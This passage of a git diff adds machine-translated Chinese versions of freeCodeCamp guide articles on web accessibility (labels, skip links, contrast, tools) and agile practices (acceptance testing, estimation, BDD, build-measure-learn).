+ 
+    <input type='text' id='username'> 
+```
+
+这将使例如屏幕阅读器说“用户名，文本编辑字段”，而不是仅报告“文本编辑字段”并要求用户去寻找标签。这也真正帮助了使用语音识别软件的人。
+
+### 这是一个很高的要求
+
+我们稍作休息吧。我希望你去看一个设计精良的网页。它可以是任何页面。继续，我会等
+
+背部？太好了。现在，再次查看页面但禁用所有CSS。它看起来还不错吗？页面上的内容是否仍按逻辑顺序排列？如果是这样，很好。您找到了一个具有良好HTML结构的页面。 （轻松查看没有CSS的页面的一种方法是在WebAIM的[WAVE Web辅助功能评估工具中](http://wave.webaim.org)加载该站点。然后单击“无样式”选项卡以查看没有样式的页面。）
+
+如果不是，那很好。现在，当我遇到一个结构糟糕的网站时，你会得到我每天必须处理的印象。
+
+完全披露：当发生这种情况时，我倾向于诅咒。高声。充满活力。
+
+为什么这么重要？我会解释一下。
+
+_扰流警报！_对于那些到目前为止只涉及HTML / CSS课程的人，我们将稍微跳过一点。
+
+屏幕阅读器和其他辅助技术基于您网站的DOM呈现网页的自上而下的表示。在此版本的网页中忽略所有位置CSS。
+
+DOM代表文档对象模型，是网站HTML元素的树状结构。您的所有HTML元素都是基于您使用的HTML标记和JavaScript分层链接的节点。屏幕阅读器使用此DOM树来处理HTML代码。
+
+如果将元素放在元素的顶部，它也会显示在DOM树的顶部。因此，屏幕阅读器也会将它放在顶部，即使您使用CSS将其移动到页面底部。
+
+因此，我想给大家的最后一个提示是关注HTML的顺序，而不仅仅是添加了CSS的已完成的网站。没有CSS，它仍然有意义吗？大！
+
+哦......不是吗？在那种情况下......你可能有一天会在寒冷的微风中听到一声低沉的诅咒。那很可能是我，访问你的网站。
+
+在那种情况下，我真的只有两个字。当我写一些不好的代码时，我常常听到同样的两个字，而且我很高兴地告诉你：“去解决！”
+
+### 颜色对比
+
+对于普通文本，颜色对比度应至少为4.5：1，对于大文本，颜色对比度应至少为3：1。 “大文本”定义为至少18磅（24px）或14磅（18.66px）和粗体的文本。 [对比检查器](https://webaim.org/resources/contrastchecker/)
+
+## 结论
+
+我告诉过你关于可访问性，它是什么，它不是什么以及为什么它很重要。
+
+我还为您提供了获得正确无障碍的基础知识和基础知识。然而，这些基础知识非常强大，在编写可访问性时可以使您的生活更轻松。
+
+如果我们以FCC术语进行讨论，您应该在执行HTML / CSS课程以及JavaScript课程时牢记这些。  
+在随后的文章中，我将讨论一些更多的缺口主题。我将回答的一些问题是：
+
+*   添加结构化标题听起来是个好主意，但它们不适合我的设计。我该怎么办？
+*   有没有办法让我只写屏幕阅读器和其他辅助技术看到的内容？
+*   如何使自定义JavaScript组件可访问？
+*   除了包容性用户测试之外，还有哪些工具可用于为最大的用户群开发最强大和最易用的体验？
\ No newline at end of file
diff --git a/client/src/guide/chinese/accessibility/accessibility-examples/index.md b/client/src/guide/chinese/accessibility/accessibility-examples/index.md
new file mode 100644
index 0000000000..0bda550ada
--- /dev/null
+++ b/client/src/guide/chinese/accessibility/accessibility-examples/index.md
@@ -0,0 +1,66 @@
+---
+title: Accessibility Examples
+localeTitle: 辅助功能示例
+---
+## 实际应用中的可访问性示例
+
+我正在撰写此简短指南，以提供有关如何在网站中实现辅助功能的实际示例。在学校期间没有强调可访问性，也没有在Web开发的现实世界中充分强调它。我希望这篇文章以及其他许多文章将鼓励开发人员从现在开始创建可访问的网站。它总是帮助我实际掌握如何做事的例子。因此，本指南将重点介绍我作为Web开发人员在日常生活中遇到的真实世界示例。
+
+### 跳过导航
+
+为了让有视力的用户在您的网站上获得愉快的体验，他们需要能够快速有效地获取内容。如果您从未通过屏幕阅读器体验过网站，我建议您这样做。这是测试为无视用户导航网站的最佳方式的最佳方式。 NVDA是一款非常好的屏幕阅读器应用程序，免费提供。但是，如果您使用屏幕阅读器并发现它有用，请考虑向开发团队捐款。屏幕阅读器可以从[nvaccess.org](https://www.nvaccess.org/download/)下载。
+
+允许没视力的用户跳到网站的主要内容，并避免在所有主要导航链接中进行选项卡：
+
+1.  创建一个直接位于开始`body`标记下方的“跳过导航链接”。
+
+```html
+
+<a tabindex="0" class="skip-link" href="#main-content">Skip to Main Content</a> 
+```
+
+`tabindex="0"`以确保链接可在所有浏览器上进行键盘调焦。有关键盘可访问性的更多信息，请访问[webaim.org](https://webaim.org/techniques/keyboard/tabindex) 。
+
+2.  “跳过导航”链接需要使用ID标记与网页文档中的主html标记相关联。
+
+```html
+
+<main id="main-content"> 
+  ...page content 
+ </main> 
+```
+
+3.  默认情况下隐藏“跳过导航”链接。 这可确保链接仅在链接处于焦点时对有视力的用户可见。
+
+*   为可以使用CSS设置样式的链接创建一个类。在我的例子中，我添加了类`skip-link` 。
+
+```css
+.skip-link { 
+  position: absolute; 
+  width: 1px; 
+  height: 1px; 
+  padding: 0; 
+  overflow: hidden; 
+  clip: rect(0, 0, 0, 0); 
+  white-space: nowrap; 
+  -webkit-clip-path: inset(50%); 
+  clip-path: inset(50%); 
+  border: 0; 
+ } 
+ .skip-link:active, .skip-link:focus { 
+  position: static; 
+  width: auto; 
+  height: auto; 
+  overflow: visible; 
+  clip: auto; 
+  white-space: normal; 
+  -webkit-clip-path: none; 
+  clip-path: none; 
+ } 
+```
+
+这些CSS样式默认隐藏链接，仅在接收键盘焦点时显示链接。有关更多信息，请访问[a11yproject](http://a11yproject.com/posts/how-to-hide-content)和此[博客文章](http://hugogiraudel.com/2016/10/13/css-hide-and-seek/) 。
+
+### 无障碍表格
+
+### 无障碍标签
\ No newline at end of file
diff --git a/client/src/guide/chinese/accessibility/accessibility-tools-for-web-developers/index.md b/client/src/guide/chinese/accessibility/accessibility-tools-for-web-developers/index.md
new file mode 100644
index 0000000000..779c6a8221
--- /dev/null
+++ b/client/src/guide/chinese/accessibility/accessibility-tools-for-web-developers/index.md
@@ -0,0 +1,42 @@
+---
+title: Accessibility Tools for Web Developers
+localeTitle: Web开发人员的辅助功能工具
+---
+## Web开发人员的辅助功能工具
+
+有许多工具和在线资源可以帮助您确保您的Web应用程序满足所有可访问性要求。
+
+1.  **[辅助功能开发者工具](https://chrome.google.com/webstore/detail/accessibility-developer-t/fpkknkljclfencbdbgkenhalefipecmb?hl=en)**
+    
+    这是Google Chrome扩展程序，会在“元素”标签中为Chrome开发人员工具添加新的辅助功能侧边栏窗格。此新窗格将显示与当前正在检查的元素的可访问性方面相关的任何属性。此扩展还添加了可访问性审核，可用于检查当前网页是否违反任何可访问性规则。
+    
+2.  **[斧头](https://chrome.google.com/webstore/detail/axe/lhdoppojpmngadmnindnejefpokejbdd?hl=en-US)**
+    
+    此Google Chrome扩展程序可以在您的网页上找到辅助功能缺陷。
+    
+3.  **[颜色安全调色板生成器](http://colorsafe.co)**
+    
+    本网站可以帮助您创建基于WCAG文本和背景对比度指南的调色板。
+    
+4.  **[检查我的颜色](http://www.checkmycolours.com)**
+    
+    用于检查您现有网站是否符合颜色和对比度的可访问性要求的网站。
+    
+5.  **[颜色Oracle](http://colororacle.org)**
+    
+    一个模拟色盲的应用程序。它适用于Windows，Mac和Linux。
+    
+6.  **[tota11y](http://khan.github.io/tota11y/)**
+    
+    一种辅助功能可视化工具包，可检查您的网站如何使用辅助技术执行。
+    
+7.  **[AccessLint](https://www.accesslint.com)**
+    
+    一个GitHub应用程序，用于检查您对可访问性问题的拉取请求。
+    
+
+* * *
+
+#### 更多资源
+
+您可以在明尼苏达大学德卢斯分校的[这份名单](http://www.d.umn.edu/itss/training/online/webdesign/tools.html)上找到更多可访问网页设计的工具。
\ No newline at end of file
diff --git a/client/src/guide/chinese/accessibility/automated-testing/index.md b/client/src/guide/chinese/accessibility/automated-testing/index.md
new file mode 100644
index 0000000000..2e2b157899
--- /dev/null
+++ b/client/src/guide/chinese/accessibility/automated-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Automated Accessibility Testing Tools
+localeTitle: 自动化辅助功能测试工具
+---
+## 自动化可访问性测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/accessibility/automated-testing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/accessibility/index.md b/client/src/guide/chinese/accessibility/index.md
new file mode 100644
index 0000000000..c1c57460fd
--- /dev/null
+++ b/client/src/guide/chinese/accessibility/index.md
@@ -0,0 +1,27 @@
+---
+title: Accessibility
+localeTitle: 无障碍
+---
+## 无障碍
+
+**Web可访问性意味着残疾人可以使用Web** 。
+
+更具体地说，Web可访问性意味着残疾人可以感知，理解，导航和与Web交互，并且他们可以 为网络做出贡献。 Web可访问性也使其他人受益，包括具有不断变化的能力的[老年人](https://www.w3.org/WAI/bcase/soc.html#of) 由于老化。
+
+Web可访问性包括影响Web访问的所有残疾，包括视觉，听觉，身体，语言，认知和神经系统 残疾。 “ [残疾人如何使用网络](http://www.w3.org/WAI/intro/people-use-web/Overview.html) ”文件描述了不同之处 残疾会影响网络使用，并包括使用网络的残障人士的情景。
+
+网络可访问性也**使** _非_残疾人**受益** 。例如，Web可访问性的一个关键原则是设计Web站点和软件 灵活地满足不同的用户需求，偏好和情况。这种**灵活性**也使某些_非_残疾人受益 情况，例如使用慢速互联网连接的人，具有“临时残疾”的人，例如手臂骨折，以及能力发生变化的人 由于老化。 [为您的组织开发Web辅助功能业务案例](https://www.w3.org/WAI/bcase/Overview)的文档描述了许多内容 Web可访问性的不同好处，包括**组织的好处** 。
+
+Web可访问性还应包括无法访问Internet或计算机的人员。
+
+[Web可访问性倡议组织](https://www.w3.org/WAI/) [万维网联盟（W3C）](https://www.w3.org/)引入了一个突出的Web开发指南 从中我们获得了[WAI-ARIA](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics) ，Accessible Rich Internet Applications Suite。 在WAI处理html的语义以更容易地使用DOM树时，ARIA尝试制作网络应用程序，尤其是那些使用javascript和 AJAX，更容易访问。
+
+在网站上使用图像和图形会降低视力障碍者的可访问性。但是，这并不意味着设计师应该避免 使用这些视觉元素。如果使用得当，视觉元素可以向用户传达适当的外观和感觉，并且应该被使用 这样做。为了适当地使用这些元素，网页设计者必须使用替代文本将这些元素的信息传达给那些看不到的人 他们。替代文字应该简短并且要点 - 通常[不超过5到15个单词](https://www.thoughtco.com/writing-great-alt-text-3466185) 。如果一个 graphic用于传达超出alt文本限制的信息，该信息也应作为Web文本存在，以便通过屏幕读取 读者。 [详细了解替代文字](https://webaim.org/techniques/alttext/) 。
+
+就像Alt文本适用于视障人士一样，音频的成绩单适合那些无法听的人。提供书面文件或听力困难的人可以访问的内容的记录。
+
+版权所有©2005 [万维网联盟](http://www.w3.org) ，（ [麻省理工学院](http://www.csail.mit.edu/) ， [ERCIM](http://www.ercim.org) ， [京王](http://www.keio.ac.jp) ， [北京](http://ev.buaa.edu.cn) ）。 http://www.w3.org/Consortium/Legal/2015/doc-license
+
+### 更多信息：
+
+[w3.org可访问性介绍。](https://www.w3.org/WAI/intro/accessibility.php) [A11Y项目](http://a11yproject.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/acceptance-criteria/index.md b/client/src/guide/chinese/agile/acceptance-criteria/index.md
new file mode 100644
index 0000000000..e10de18ede
--- /dev/null
+++ b/client/src/guide/chinese/agile/acceptance-criteria/index.md
@@ -0,0 +1,21 @@
+---
+title: Acceptance Criteria
+localeTitle: 验收标准
+---
+## 验收标准
+
+用户素材作为待办事项中的项目，是对话的占位符。在这次谈话中， 产品负责人和交付团队了解所需的结果。
+
+验收标准告诉交付团队代码的行为方式。避免写出用户故事的**“如何”** ;坚持**“什么”** 。 如果团队遵循测试驱动开发（TDD），它可以为自动化测试提供框架。 接受标准将是QA团队测试计划的开始。
+
+最重要的是，如果故事不符合每个接受标准，那么产品负责人不应该在迭代结束时接受故事。
+
+验收标准可视为保护交付团队的工具。当交付团队在Sprint计划中承诺一组固定的故事时，他们也承诺修复一组验收标准。这有助于避免范围蔓延。
+
+请考虑以下情况：在接受用户故事时，产品负责人建议添加不在用户故事范围内的内容。在这种情况下，交付团队可以拒绝此请求（无论多么小），并要求产品所有者创建一个可以在另一个Sprint中处理的新用户故事。
+
+#### 更多信息：
+
+Nomad8提供了[关于验收标准](https://nomad8.com/acceptance_criteria/)的[常见问题解答](https://nomad8.com/acceptance_criteria/)
+
+在[接受标准](https://www.leadingagile.com/2014/09/acceptance-criteria/)上领先敏捷
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/acceptance-testing/index.md b/client/src/guide/chinese/agile/acceptance-testing/index.md
new file mode 100644
index 0000000000..6bebdb875c
--- /dev/null
+++ b/client/src/guide/chinese/agile/acceptance-testing/index.md
@@ -0,0 +1,133 @@
+---
+title: Acceptance Testing
+localeTitle: 验收测试
+---
+## 验收测试
+
+验收测试，执行测试技术以确定软件系统是否符合要求规范。此测试的主要目的是评估系统是否符合业务要求，并验证其是否符合向最终用户交付的必要条件。
+
+有各种形式的验收测试：
+
+\- >用户验收测试
+
+\- >业务验收测试
+
+\- > Alpha测试
+
+\- > Beta测试
+
+# 验收标准
+
+验收标准是基于以下属性定义的
+
+\- >功能正确和完整
+
+\- >数据完整性
+
+\- >数据转换
+
+\- >可用性
+
+\- >性能
+
+\- >及时性
+
+\- >机密性和可用性
+
+\- >可安装性和可升级性
+
+\- >可扩展性
+
+\- >文档
+
+# 验收测试计划 - 属性
+
+验收测试活动分阶段进行。首先，执行基本测试，如果测试结果令人满意，则执行更复杂的场景。
+
+验收测试计划具有以下属性：
+
+\- >简介
+
+\- >验收测试类别
+
+\- >操作环境
+
+\- >测试用例ID
+
+\- >测试题目
+
+\- >测试目标
+
+\- >测试程序
+
+\- >测试时间表
+
+\- >资源
+
+\=>验收测试活动旨在得出以下结论之一：
+
+接受系统交付
+
+在请求的修改完成后接受系统
+
+不要接受系统
+
+# 验收测试报告 - 属性
+
+验收测试报告具有以下属性：
+
+\- >报告标识符
+
+\- >结果摘要
+
+\- >变化
+
+\- >建议
+
+\- > To-DO列表摘要
+
+# \- >批准决定
+
+验收测试侧重于检查开发的软件是否满足所有要求。其主要目的是检查开发的解决方案是否满足用户期望。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+验收测试是软件开发中的成熟实践。验收测试是代码功能测试的主要部分。
+
+验收测试测试代码按预期执行，即在给定预期输入的情况下产生预期输出。
+
+验收测试用于测试相对较大的软件功能块，即功能。
+
+### 例
+
+您创建了一个页面，要求用户首先在对话框中输入其名称，然后才能看到内容。您有一个受邀用户列表，因此任何其他用户都将返回错误。
+
+这里有多种方案，例如：
+
+*   每次加载页面时，都需要输入您的名字。
+*   如果您的名字在列表中，则对话框将消失，您将看到该文章。
+*   如果您的名称不在列表中，则对话框将显示错误。
+
+您可以为较大的对话框功能的每个子功能编写验收测试
+
+除了处理测试将如何执行的基础结构的代码之外，您对第一个场景的测试看起来像（在伪代码中）：
+
+鉴于该页面已打开 该对话框应该是可见的 对话框应包含一个输入框 并且输入框应该有占位符文本“你的名字，请！”
+
+### 笔记
+
+验收测试可以用任何语言编写，并使用各种可用的工具运行，这些工具可以处理上面提到的基础结构，例如打开浏览器，加载页面，提供访问页面元素的方法，断言库等等。
+
+每次你编写一个将再次使用的软件（即使是你自己），它也有助于为它编写测试。当您自己或其他人对此代码进行更改时，运行测试将确保您没有破坏现有功能。
+
+它通常由用户或主题专家执行。它也被称为用户验收测试（UAT）。 UAT涉及最常见的现实生活场景。与系统测试不同，它不关注错误或崩溃，而是关注功能。 UAT在测试生命周期结束时完成，并将决定软件是否移至下一个环境。
+
+定义应该编写哪些验收测试的好方法是为用户故事添加验收标准。使用验收标准，您可以定义用户故事何时可以部署，并根据您的意愿完成问题。
+
+在敏捷项目中，团队必须为所有用户故事定义验收标准。验收测试工作将使用定义的标准来评估交付的功能。当故事可以通过所有验收标准时，它就完成了。
+
+验收测试还可以验证完成的史诗/故事/任务是否满足定义的验收标准。与完成的定义相反，此标准可以涵盖团队想要解决的特定业务案例。这提供了良好的工作质量测量。
+
+#### 更多信息：
+
+*   [国际软件测试资格委员会](http://www.istqb.org/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/actual-time-estimation/index.md b/client/src/guide/chinese/agile/actual-time-estimation/index.md
new file mode 100644
index 0000000000..4b16d12317
--- /dev/null
+++ b/client/src/guide/chinese/agile/actual-time-estimation/index.md
@@ -0,0 +1,53 @@
+---
+title: Actual Time Estimation
+localeTitle: 实际时间估计
+---
+## 实际时间估计
+
+实际时间估计是预测基于不完整，不确定和嘈杂输入开发或维护软件所需的最实际的努力量（以人 - 小时或金钱表示）的过程。努力估算可用作项目计划，迭代计划，预算，投资分析，定价流程和投标轮次的输入。
+
+### 国家的实践
+
+已发布的估算实践调查表明，在评估软件开发工作时，专家评估是主要策略。
+
+通常情况下，工作量估算过于乐观，并且对其准确性存在强烈的过度信任。平均努力超支似乎约为30％而不会随着时间的推移而减少。有关工作量估算误差调查的评论，请参阅。但是，估算误差的测量存在问题，请参阅评估估算的准确性。平均而言，如果软件专业人员有90％的信心或“几乎肯定”将实际工作量包括在最小 - 最大间隔内，则可以看出，工作量估算准确性的强烈过度自信，包括实际工作量仅为60-70％。
+
+目前，“努力估计”一词用于表示不同的概念，如最有可能使用努力（模态值），相应于50％不超过（中位数）概率的努力，计划的努力，预算的努力或用于向客户提出出价或价格的努力。这被认为是不幸的，因为可能发生通信问题并且因为概念服务于不同的目标。
+
+### 历史
+
+自从至少20世纪60年代以来，软件研究人员和从业人员一直在解决软件开发项目的工作量估算问题;比如，见法尔和尼尔森的作品。
+
+大多数研究都集中在正式软件工作量估算模型的构建上。早期模型通常基于回归分析或数学上来自其他领域的理论。从那时起，已经评估了大量的模型构建方法，例如基于案例推理的方法，分类和回归树，模拟，神经网络，贝叶斯统计，需求规范的词汇分析，遗传编程，线性规划，经济生产模型，软计算，模糊逻辑建模，统计自举以及这些模型中的两个或更多个的组合。
+
+目前最常见的估计方法是参数估计模型COCOMO，SEER-SEM和SLIM。它们的基础是在20世纪70年代和80年代进行的估算研究，并且从那时起更新了新的校准数据，最后一个主要版本是2000年的COCOMO II。估算方法基于基于功能的尺寸测量，例如功能这一点也是基于20世纪70年代和80年代进行的研究，但是采用改进的尺寸测量和不同的计数方法进行了重新校准，例如20世纪90年代的用例点或对象点以及2000年代的COSMIC。
+
+实际时间估算是一种估算开发工作的基于时间的方法。
+
+能够估计敏捷项目的完成时间至关重要，遗憾的是，它也是规划敏捷项目最困难的部分之一。
+
+其目的是最好地估计完成给定开发任务所需的时间量。
+
+您可以使用的一种技术是估计完成用户故事所需的时间。当您这样做时，请记得咨询敏捷团队的其他成员。对于每个用户故事，请确保您估计一个现实可行的时间，但不要太多，以至于客户端因简单工作而被多收费用。咨询您团队的成员，以便您能够利用他们的专业知识来了解需要多少工作以及需要多长时间。当您对每个用户故事达成共识时，您可以累计时间来进行时间估算。
+
+随着项目要求的变化，您可以更新估算值。如果项目丢失了最初分配给它的一些资源，您可能需要剪切用户故事，以便能够在相同的总时间内完成它们。同样，如果您想提高应用程序的质量，您可能需要为每个用户故事分配更多时间，以确保您的团队有时间以所需的质量完成应用程序。
+
+通常，这些估算是使用理想的工程时间计算的。
+
+例子：
+
+**此任务将在10天内完成。**
+
+要么…
+
+**这项任务将于1月10日完成。**
+
+要么…
+
+**此任务需要25个开发时间才能完成。**
+
+### 更多信息：
+
+*   [敏捷约束](http://www.brighthubpm.com/agile/50212-the-agile-triangle-value-quality-and-constraints/)
+    
+*   [您如何评估敏捷项目？](http://info.thoughtworks.com/rs/thoughtworks2/images/twebook-perspectives-estimation_1.pdf)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/alignment/index.md b/client/src/guide/chinese/agile/alignment/index.md
new file mode 100644
index 0000000000..94f97a04b4
--- /dev/null
+++ b/client/src/guide/chinese/agile/alignment/index.md
@@ -0,0 +1,11 @@
+---
+title: Alignment
+localeTitle: 对准
+---
+## 对准
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/alignment/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/application-lifecycle-management/index.md b/client/src/guide/chinese/agile/application-lifecycle-management/index.md
new file mode 100644
index 0000000000..7487413cf6
--- /dev/null
+++ b/client/src/guide/chinese/agile/application-lifecycle-management/index.md
@@ -0,0 +1,25 @@
+---
+title: Application Lifecycle Management
+localeTitle: 应用生命周期管理
+---
+## 应用生命周期管理
+
+应用程序生命周期管理（ALM）虽然通常与软件开发生命周期（SDLC）相关联，但它是一个更广泛的视角，可以更好地与产品生命周期的概念保持一致。开发（SDLC）只是应用程序生命周期的一部分，因此表示为ALM的一部分。
+
+ALM可分为三个不同的领域：治理，开发和运营：
+
+治理：包含该应用程序的所有决策和项目管理，并扩展了整个应用程序的存在。
+
+开发：实际创建应用程序的过程（SDLC）。对于大多数应用程序，开发过程在应用程序的生命周期中再次出现几次，包括错误修复，改进和新版本。
+
+操作：运行和管理应用程序所需的工作通常在部署之前不久开始，然后持续运行直到应用程序退役。有时与发展重叠。
+
+工具可用于管理ALM;一些比较受欢迎的选项包括：
+
+*   Atlassian [JIRA](http://atlassian.com/software/jira)
+*   CA Technologies [拉力赛](http://ca.com/us.html)
+*   [ThoughtWorks的](http://thoughtworks.com/products)
+
+#### 更多信息：
+
+InfoQ - Gartner和软件建议检查[敏捷生命周期管理工具](http://www.infoq.com/news/2015/02/agile-management-tools/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/architectural-runway/index.md b/client/src/guide/chinese/agile/architectural-runway/index.md
new file mode 100644
index 0000000000..c497fb9eb8
--- /dev/null
+++ b/client/src/guide/chinese/agile/architectural-runway/index.md
@@ -0,0 +1,5 @@
+---
+title: Architectural Runway
+localeTitle: 建筑跑道
+---
+建筑跑道设置项目启动前程序所需的一切。这使开发人员能够立即投入运行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/backlog-emergence-and-grooming/index.md b/client/src/guide/chinese/agile/backlog-emergence-and-grooming/index.md
new file mode 100644
index 0000000000..6c32aebb5f
--- /dev/null
+++ b/client/src/guide/chinese/agile/backlog-emergence-and-grooming/index.md
@@ -0,0 +1,20 @@
+---
+title: Backlog Emergence and Refinement
+localeTitle: 积压出现和改进
+---
+## 积压出现和改进
+
+产品待办事项细化是一个正在进行的过程，需要与产品发现过程保持同步。通常，Scrum团队将协作完善下两到三个冲刺的产品积压项目。
+
+产品所有者（负责澄清sprint目标的人员）通过识别和分类产品backlog中最有价值的用户故事来定义即将到来的sprint的范围。产品所有者不仅仅是产品积压的美化项目经理，而且代表利益相关者执行的角色不仅仅是用户故事。
+
+来自Scrum指南： 产品Backlog细化是向产品Backlog中的项添加细节，估计和订单的行为。这是一个持续的过程，产品负责人和开发团队在此过程中就Product Backlog项目的详细信息进行协作。在Product Backlog改进期间，将审查和修改项目。
+
+Scrum团队决定如何以及何时完成细化。细化通常不会超过开发团队容量的10％。但是，产品Backlog项目可以由产品负责人随时更新，也可以由产品负责人自行决定。改进的目标是为下一个Sprint的Sprint Planning提供足够的Product Backlog项目“Ready”。通常，Scrum团队将协作完善下两到三个sprint的产品积压项目。
+
+积压的出现和完善是每个Scrum团队的基本任务。产品负责人通过识别和分类产品待办事项中最有价值的用户故事来定义即将到来的冲刺的范围。虽然产品负责人负责将产品积压保持在最高价值交付，但他们需要整个Scrum团队的协助才能这样做。更改Sprint Backlog是正在进行的Sprint的一部分，不被视为精简。
+
+#### 更多信息：
+
+*   [优化产品Backlog改进](https://www.scrum.org/resources/blog/optimizing-product-backlog-refinement)
+*   Scrum指南（http://www.scrumguides.org/）
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/backlog-item-effort/index.md b/client/src/guide/chinese/agile/backlog-item-effort/index.md
new file mode 100644
index 0000000000..637297c476
--- /dev/null
+++ b/client/src/guide/chinese/agile/backlog-item-effort/index.md
@@ -0,0 +1,11 @@
+---
+title: Backlog Item Effort
+localeTitle: 积压项目努力
+---
+## 积压项目努力
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/backlog-item-effort/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/behavior-driven-development/index.md b/client/src/guide/chinese/agile/behavior-driven-development/index.md
new file mode 100644
index 0000000000..b095aa1ed9
--- /dev/null
+++ b/client/src/guide/chinese/agile/behavior-driven-development/index.md
@@ -0,0 +1,60 @@
+---
+title: Behavior Driven Development
+localeTitle: 行为驱动的发展
+---
+## 行为驱动的发展
+
+行为驱动开发（BDD）是一个从中诞生的软件开发过程![测试驱动开发（TDD）](../test-driven-development/index.md) 。 行为驱动开发将TDD的一般技术和原则与域驱动设计和面向对象分析与设计的思想相结合，为软件开发和管理团队提供共享工具和共享流程，以协作进行软件开发。 它是一种软件开发方法，其中通过描述其行为应如何出现在外部观察者中来指定和设计应用程序。
+
+虽然BDD主要是关于如何通过商业利益和技术洞察来管理软件开发的想法，但BDD的做法确实假设使用专门的软件工具来支持开发过程。
+
+虽然这些工具通常专门用于BDD项目，但它们可以被视为支持测试驱动开发的工具的专用形式。这些工具用于为无处不在的语言添加自动化，这是BDD的核心主题。
+
+BDD专注于：
+
+*   从哪里开始
+*   测试什么和不测试什么
+*   一次性测试多少钱
+*   怎么称呼测试
+*   如何理解测试失败的原因
+
+BDD的核心是重新思考这些问题自然产生的单元测试和验收测试方法。 例如，BDD建议单元测试名称是以条件动词开头的整个句子（例如英语中的“should”），并且应按业务价值的顺序编写。 验收测试应该使用用户故事的标准敏捷框架编写：“作为一个_角色，_我想要_功能，_以便_获益_ ”。 接受标准应根据方案编写并作为类实现：给定_初始上下文_ ，何时_发生事件_ ，然后_确保一些结果_ 。
+
+例
+```
+Story: Returns go to stock 
+ 
+ As a store owner 
+ In order to keep track of stock 
+ I want to add items back to stock when they're returned. 
+ 
+ Scenario 1: Refunded items should be returned to stock 
+ Given that a customer previously bought a black sweater from me 
+ And I have three black sweaters in stock. 
+ When he returns the black sweater for a refund 
+ Then I should have four black sweaters in stock. 
+ 
+ Scenario 2: Replaced items should be returned to stock 
+ Given that a customer previously bought a blue garment from me 
+ And I have two blue garments in stock 
+ And three black garments in stock. 
+ When he returns the blue garment for a replacement in black 
+ Then I should have three blue garments in stock 
+ And two black garments in stock. 
+```
+
+除此之外还有一些好处：
+
+1.  所有开发工作都可以直接追溯到业务目标。
+2.  软件开发满足用户需求。满意的用户=良好的业务。
+3.  高效的优先级 - 首先提供关键业务功能。
+4.  各方对项目有共同的理解，可以参与沟通。
+5.  共享语言可确保每个人（技术与否）都能全面了解项目的进展。
+6.  产生的软件设计与现有产品相匹配，并支持即将到来的业
+7.  改进质量代码，降低维护成本，降低项目风险。
+
+## 更多信息
+
+*   Wiki上的[BDD](https://en.wikipedia.org/wiki/Behavior-driven_development)
+*   众所周知的行为驱动开发（BDD）框架是[Cucumber](https://cucumber.io/) 。 Cucumber支持许多编程语言，可以与许多框架集成;例如， [Ruby on Rails](http://rubyonrails.org/) ， [Spring Framework](http://spring.io/)和[Selenium](http://www.seleniumhq.org/)
+*   https://inviqa.com/blog/bdd-guide
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/build-measure-learn/index.md b/client/src/guide/chinese/agile/build-measure-learn/index.md
new file mode 100644
index 0000000000..1c182d01f0
--- /dev/null
+++ b/client/src/guide/chinese/agile/build-measure-learn/index.md
@@ -0,0 +1,29 @@
+---
+title: Build Measure Learn
+localeTitle: 构建度量学习
+---
+## 构建度量学习
+
+Build-Measure-Learn循环是用于构建正确产品的方法。在Eric Reis撰写的“精益创业”一书中，循环实现了快速实验，其唯一目的是实现市场契合。换句话说，它是一个功能强大的系统，用于验证有关您要提供的产品的假设。分解循环，它由以下部分组成：
+
+![建设 - 测量 - 学习环](https://steveblank.files.wordpress.com/2015/05/ideas-build-code-measure.jpg)
+
+### 理念
+
+每个循环都以一个为某些用户提供商业价值的想法开始。这样的想法必须包括产品愿景 - 它将指导您构建什么，以及指出您对业务价值的假设是否正确的指标。
+
+### 建立
+
+为了验证您的想法，您打算构建一个最小可行产品（MVP），结合预定义的指标（首选一个），其目的是验证您的理论，并帮助您决定是应该保留还是转动。
+
+### 测量
+
+此阶段的重点是从MVP收集数据和指标。
+
+### 学习
+
+接下来，使用收集的数据，必须做出决定，无论您的产品是否被用户使用，因此您应该保留，或者用户是否对产品不感兴趣，因此您必须转动。因此，学习阶段以一个想法（如何扩展产品，或如何从原始产品转向）结束，适用于下一个Build Measure Learn循环。
+
+#### 更多信息：
+
+[为什么要建立，衡量，学习 - 不仅仅是把东西扔到墙上看看它们是否有效 - 最小的可行产品](https://steveblank.com/2015/05/06/build-measure-learn-throw-things-against-the-wall-and-see-if-they-work/) [构建 - 测量 - 学习反馈循环](https://www.mindtools.com/pages/article/build-measure-learn.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/burndown-charts-and-burnup-charts/index.md b/client/src/guide/chinese/agile/burndown-charts-and-burnup-charts/index.md
new file mode 100644
index 0000000000..c6516d304d
--- /dev/null
+++ b/client/src/guide/chinese/agile/burndown-charts-and-burnup-charts/index.md
@@ -0,0 +1,21 @@
+---
+title: Burndown Charts and Burnup Charts
+localeTitle: Burndown图表和Burnup图表
+---
+## Burndown图表和Burnup图表
+
